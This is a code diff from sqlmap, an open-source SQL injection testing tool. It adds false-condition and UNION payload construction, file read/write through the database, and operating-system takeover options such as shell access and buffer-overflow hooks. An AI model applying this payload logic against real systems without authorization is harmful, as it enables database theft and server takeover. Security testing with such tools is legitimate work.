Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -77,7 +77,7 @@ def action():
|
|||
if conf.timeTest:
|
||||
dumper.string("time based blind sql injection payload", timeTest())
|
||||
|
||||
if conf.unionTest:
|
||||
if ( conf.unionUse or conf.unionTest ) and not kb.unionPosition:
|
||||
dumper.string("valid union", unionTest())
|
||||
|
||||
# Enumeration options
|
||||
|
|
@ -127,11 +127,27 @@ def action():
|
|||
|
||||
# File system options
|
||||
if conf.rFile:
|
||||
dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
|
||||
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
|
||||
|
||||
if conf.wFile:
|
||||
dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile))
|
||||
conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType)
|
||||
|
||||
# Operating system options
|
||||
if conf.osCmd:
|
||||
conf.dbmsHandler.osCmd()
|
||||
|
||||
# Takeover options
|
||||
if conf.osShell:
|
||||
conf.dbmsHandler.osShell()
|
||||
|
||||
if conf.osPwn:
|
||||
conf.dbmsHandler.osPwn()
|
||||
|
||||
if conf.osSmb:
|
||||
conf.dbmsHandler.osSmb()
|
||||
|
||||
if conf.osBof:
|
||||
conf.dbmsHandler.osBof()
|
||||
|
||||
# Miscellaneous options
|
||||
if conf.cleanup:
|
||||
conf.dbmsHandler.cleanup()
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -65,7 +65,7 @@ def __selectInjection(injData):
|
|||
|
||||
message += "\n"
|
||||
|
||||
message += "[q] Quit\nChoice: "
|
||||
message += "[q] Quit"
|
||||
select = readInput(message, default="0")
|
||||
|
||||
if not select:
|
||||
|
|
@ -126,7 +126,7 @@ def start():
|
|||
if conf.data:
|
||||
message += "\nPOST data: %s" % conf.data
|
||||
|
||||
message += "\ndo you want to test this url? [Y/n/q] "
|
||||
message += "\ndo you want to test this url? [Y/n/q]"
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test:
|
||||
|
|
@ -186,13 +186,23 @@ def start():
|
|||
paramDict = conf.paramDict[place]
|
||||
|
||||
for parameter, value in paramDict.items():
|
||||
if not checkDynParam(place, parameter, value):
|
||||
testSqlInj = True
|
||||
|
||||
# Avoid dinamicity test if the user provided the
|
||||
# parameter manually
|
||||
if parameter in conf.testParameter:
|
||||
pass
|
||||
|
||||
elif not checkDynParam(place, parameter, value):
|
||||
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
|
||||
logger.warn(warnMsg)
|
||||
testSqlInj = False
|
||||
|
||||
else:
|
||||
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
if testSqlInj == True:
|
||||
for parenthesis in range(0, 4):
|
||||
logMsg = "testing sql injection on %s " % place
|
||||
logMsg += "parameter '%s' with " % parameter
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -57,7 +57,9 @@ def setHandler():
|
|||
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||
debugMsg = "skipping test for %s" % dbmsNames[count]
|
||||
logger.debug(debugMsg)
|
||||
|
||||
count += 1
|
||||
|
||||
continue
|
||||
|
||||
dbmsHandler = dbmsEntry()
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -47,28 +47,32 @@ class Agent:
|
|||
temp.stop = randomStr(6)
|
||||
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
||||
"""
|
||||
This method replaces the affected parameter with the SQL
|
||||
injection statement to request
|
||||
"""
|
||||
|
||||
negValue = ""
|
||||
retValue = ""
|
||||
falseValue = ""
|
||||
negValue = ""
|
||||
retValue = ""
|
||||
|
||||
if negative == True or conf.paramNegative == True:
|
||||
negValue = "-"
|
||||
elif falseCond == True or conf.paramFalseCond == True:
|
||||
randInt = randomInt()
|
||||
falseValue = " AND %d=%d" % (randInt, randInt + 1)
|
||||
|
||||
# After identifing the injectable parameter
|
||||
if kb.injPlace == "User-Agent":
|
||||
retValue = kb.injParameter.replace(kb.injParameter,
|
||||
"%s%s" % (negValue, kb.injParameter + newValue))
|
||||
"%s%s" % (negValue, kb.injParameter + falseValue + newValue))
|
||||
elif kb.injParameter:
|
||||
paramString = conf.parameters[kb.injPlace]
|
||||
paramDict = conf.paramDict[kb.injPlace]
|
||||
value = paramDict[kb.injParameter]
|
||||
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
||||
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
|
||||
"%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
|
||||
|
||||
# Before identifing the injectable parameter
|
||||
elif parameter == "User-Agent":
|
||||
|
|
@ -259,6 +263,7 @@ class Agent:
|
|||
|
||||
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
||||
fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I)
|
||||
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
||||
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
||||
fieldsNoSelect = query
|
||||
|
|
@ -267,6 +272,8 @@ class Agent:
|
|||
fieldsToCastStr = fieldsSelectTop.groups()[0]
|
||||
elif fieldsSelectDistinct:
|
||||
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
|
||||
elif fieldsSelectCase:
|
||||
fieldsToCastStr = fieldsSelectCase.groups()[0]
|
||||
elif fieldsSelectFrom:
|
||||
fieldsToCastStr = fieldsSelectFrom.groups()[0]
|
||||
elif fieldsSelect:
|
||||
|
|
@ -281,10 +288,25 @@ class Agent:
|
|||
#if query.startswith("SELECT ") and "(SELECT " in query:
|
||||
# fieldsSelectFrom = None
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
||||
|
||||
|
||||
def concatQuery(self, query):
|
||||
def simpleConcatQuery(self, query1, query2):
|
||||
concatenatedQuery = ""
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
|
||||
|
||||
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
|
||||
concatenatedQuery = "%s||%s" % (query1, query2)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
concatenatedQuery = "%s+%s" % (query1, query2)
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
|
||||
def concatQuery(self, query, unpack=True):
|
||||
"""
|
||||
Take in input a query string and return its processed nulled,
|
||||
casted and concatenated query string.
|
||||
|
|
@ -310,54 +332,67 @@ class Agent:
|
|||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
concatQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
if unpack == True:
|
||||
concatenatedQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||
else:
|
||||
concatenatedQuery = query
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
|
||||
if fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatenatedQuery += ",'%s')" % temp.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatQuery += ",'%s')" % temp.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatenatedQuery += ",'%s')" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop)
|
||||
|
||||
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||
if fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatenatedQuery += "||'%s'" % temp.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery += "||'%s'" % temp.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatenatedQuery += "||'%s'" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop)
|
||||
|
||||
if kb.dbms == "Oracle" and " FROM " not in concatQuery and ( fieldsSelect or fieldsNoSelect ):
|
||||
concatQuery += " FROM DUAL"
|
||||
if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
|
||||
concatenatedQuery += " FROM DUAL"
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if fieldsSelectTop:
|
||||
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1)
|
||||
concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatenatedQuery += "+'%s'" % temp.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery += "+'%s'" % temp.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatenatedQuery += "+'%s'" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop)
|
||||
|
||||
return concatQuery
|
||||
return concatenatedQuery
|
||||
|
||||
|
||||
def forgeInbandQuery(self, query, exprPosition=None):
|
||||
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
|
||||
"""
|
||||
Take in input an query (pseudo query) string and return its
|
||||
processed UNION ALL SELECT query.
|
||||
|
|
@ -398,6 +433,12 @@ class Agent:
|
|||
if not exprPosition:
|
||||
exprPosition = kb.unionPosition
|
||||
|
||||
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
|
||||
|
||||
if intoRegExp:
|
||||
intoRegExp = intoRegExp.group(1)
|
||||
query = query[:query.index(intoRegExp)]
|
||||
|
||||
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
|
||||
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
|
||||
|
||||
|
|
@ -406,15 +447,15 @@ class Agent:
|
|||
inbandQuery += ", "
|
||||
|
||||
if element == exprPosition:
|
||||
if " FROM " in query and not query.startswith("SELECT "):
|
||||
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[:conditionIndex]
|
||||
else:
|
||||
inbandQuery += query
|
||||
else:
|
||||
inbandQuery += "NULL"
|
||||
inbandQuery += nullChar
|
||||
|
||||
if " FROM " in query and not query.startswith("SELECT "):
|
||||
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[conditionIndex:]
|
||||
|
||||
|
|
@ -422,6 +463,9 @@ class Agent:
|
|||
if " FROM " not in inbandQuery:
|
||||
inbandQuery += " FROM DUAL"
|
||||
|
||||
if intoRegExp:
|
||||
inbandQuery += intoRegExp
|
||||
|
||||
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
||||
|
||||
return inbandQuery
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -27,19 +27,22 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
import os
|
||||
import random
|
||||
import re
|
||||
import socket
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
import urlparse
|
||||
|
||||
|
||||
from lib.contrib import magic
|
||||
from lib.core.convert import urldecode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
|
@ -137,8 +140,9 @@ def formatDBMSfp(versions=None):
|
|||
return kb.dbms
|
||||
|
||||
|
||||
def __formatFingerprintString(values, chain=" or "):
|
||||
def formatFingerprintString(values, chain=" or "):
|
||||
string = "|".join([v for v in values])
|
||||
|
||||
return string.replace("|", chain)
|
||||
|
||||
|
||||
|
|
@ -175,22 +179,22 @@ def formatFingerprint(target, info):
|
|||
infoStr = ""
|
||||
|
||||
if info and "type" in info:
|
||||
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
|
||||
infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"]))
|
||||
|
||||
if "distrib" in info:
|
||||
infoStr += " %s" % __formatFingerprintString(info["distrib"])
|
||||
infoStr += " %s" % formatFingerprintString(info["distrib"])
|
||||
|
||||
if "release" in info:
|
||||
infoStr += " %s" % __formatFingerprintString(info["release"])
|
||||
infoStr += " %s" % formatFingerprintString(info["release"])
|
||||
|
||||
if "sp" in info:
|
||||
infoStr += " %s" % __formatFingerprintString(info["sp"])
|
||||
infoStr += " %s" % formatFingerprintString(info["sp"])
|
||||
|
||||
if "codename" in info:
|
||||
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
|
||||
infoStr += " (%s)" % formatFingerprintString(info["codename"])
|
||||
|
||||
if "technology" in info:
|
||||
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
|
||||
infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ")
|
||||
|
||||
return infoStr
|
||||
|
||||
|
|
@ -307,6 +311,21 @@ def dataToDumpFile(dumpFile, data):
|
|||
dumpFile.flush()
|
||||
|
||||
|
||||
def dataToOutFile(data):
|
||||
if not data:
|
||||
return "No data retrieved"
|
||||
|
||||
rFile = filePathToString(conf.rFile)
|
||||
rFilePath = "%s%s%s" % (conf.filePath, os.sep, rFile)
|
||||
rFileFP = open(rFilePath, "wb")
|
||||
|
||||
rFileFP.write(data)
|
||||
rFileFP.flush()
|
||||
rFileFP.close()
|
||||
|
||||
return rFilePath
|
||||
|
||||
|
||||
def strToHex(string):
|
||||
"""
|
||||
@param string: string to be converted into its hexadecimal value.
|
||||
|
|
@ -377,6 +396,9 @@ def readInput(message, default=None):
|
|||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if "\n" in message:
|
||||
message += "\n> "
|
||||
|
||||
if conf.batch and default:
|
||||
infoMsg = "%s%s" % (message, str(default))
|
||||
logger.info(infoMsg)
|
||||
|
|
@ -386,7 +408,7 @@ def readInput(message, default=None):
|
|||
|
||||
data = default
|
||||
else:
|
||||
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
|
||||
data = raw_input(message)
|
||||
|
||||
return data
|
||||
|
||||
|
|
@ -418,7 +440,7 @@ def randomInt(length=4):
|
|||
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
||||
|
||||
|
||||
def randomStr(length=5):
|
||||
def randomStr(length=5, lowercase=False):
|
||||
"""
|
||||
@param length: length of the random string.
|
||||
@type length: C{int}
|
||||
|
|
@ -427,7 +449,12 @@ def randomStr(length=5):
|
|||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||
if lowercase == True:
|
||||
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
|
||||
else:
|
||||
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||
|
||||
return rndStr
|
||||
|
||||
|
||||
def sanitizeStr(string):
|
||||
|
|
@ -469,8 +496,8 @@ def banner():
|
|||
"""
|
||||
|
||||
print """
|
||||
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
%s
|
||||
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
""" % VERSION_STRING
|
||||
|
||||
|
||||
|
|
@ -509,8 +536,10 @@ def cleanQuery(query):
|
|||
|
||||
def setPaths():
|
||||
# sqlmap paths
|
||||
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
|
||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
||||
|
|
@ -629,7 +658,7 @@ def getRange(count, dump=False, plusOne=False):
|
|||
return indexRange
|
||||
|
||||
|
||||
def parseUnionPage(output, expression, partial=False, condition=None):
|
||||
def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
|
||||
data = []
|
||||
|
||||
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
|
||||
|
|
@ -653,7 +682,8 @@ def parseUnionPage(output, expression, partial=False, condition=None):
|
|||
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
|
||||
|
||||
output = set(output)
|
||||
if sort:
|
||||
output = set(output)
|
||||
|
||||
for entry in output:
|
||||
info = []
|
||||
|
|
@ -677,3 +707,99 @@ def parseUnionPage(output, expression, partial=False, condition=None):
|
|||
data = data[0]
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def getDelayQuery():
|
||||
query = None
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
if not kb.data.banner:
|
||||
conf.dbmsHandler.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
|
||||
if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ):
|
||||
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||
else:
|
||||
query = queries[kb.dbms].timedelay2 % conf.timeSec
|
||||
else:
|
||||
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||
|
||||
return query
|
||||
|
||||
|
||||
def getLocalIP():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((conf.hostname, conf.port))
|
||||
ip, _ = s.getsockname()
|
||||
s.close()
|
||||
|
||||
return ip
|
||||
|
||||
|
||||
def getRemoteIP():
|
||||
return socket.gethostbyname(conf.hostname)
|
||||
|
||||
|
||||
def getFileType(filePath):
|
||||
magicFileType = magic.from_file(filePath)
|
||||
|
||||
if "ASCII" in magicFileType or "text" in magicFileType:
|
||||
return "text"
|
||||
else:
|
||||
return "binary"
|
||||
|
||||
|
||||
def pollProcess(process):
|
||||
while True:
|
||||
dataToStdout(".")
|
||||
time.sleep(1)
|
||||
|
||||
returncode = process.poll()
|
||||
|
||||
if returncode != None:
|
||||
if returncode == 0:
|
||||
dataToStdout(" done\n")
|
||||
else:
|
||||
dataToStdout(" quit unexpectedly by signal %d\n" % returncode)
|
||||
|
||||
break
|
||||
|
||||
|
||||
def getCharset(charsetType=None):
|
||||
asciiTbl = []
|
||||
|
||||
if charsetType == None:
|
||||
asciiTbl = range(0, 128)
|
||||
|
||||
# 0 or 1
|
||||
elif charsetType == 1:
|
||||
asciiTbl.extend([ 0, 1 ])
|
||||
asciiTbl.extend(range(47, 50))
|
||||
|
||||
# Digits
|
||||
elif charsetType == 2:
|
||||
asciiTbl.extend([ 0, 1 ])
|
||||
asciiTbl.extend(range(47, 58))
|
||||
|
||||
# Hexadecimal
|
||||
elif charsetType == 3:
|
||||
asciiTbl.extend([ 0, 1 ])
|
||||
asciiTbl.extend(range(47, 58))
|
||||
asciiTbl.extend(range(64, 71))
|
||||
asciiTbl.extend(range(96, 103))
|
||||
|
||||
# Characters
|
||||
elif charsetType == 4:
|
||||
asciiTbl.extend([ 0, 1 ])
|
||||
asciiTbl.extend(range(64, 91))
|
||||
asciiTbl.extend(range(96, 123))
|
||||
|
||||
# Characters and digits
|
||||
elif charsetType == 5:
|
||||
asciiTbl.extend([ 0, 1 ])
|
||||
asciiTbl.extend(range(47, 58))
|
||||
asciiTbl.extend(range(64, 91))
|
||||
asciiTbl.extend(range(96, 123))
|
||||
|
||||
return asciiTbl
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -83,8 +83,11 @@ def urldecode(string):
|
|||
return unquotedString
|
||||
|
||||
|
||||
def urlencode(string, safe=":/?%&="):
|
||||
def urlencode(string, safe=":/?%&=", convall=False):
|
||||
if not string:
|
||||
return
|
||||
|
||||
return urllib.quote(string, safe)
|
||||
if convall == True:
|
||||
return urllib.quote(string)
|
||||
else:
|
||||
return urllib.quote(string, safe)
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
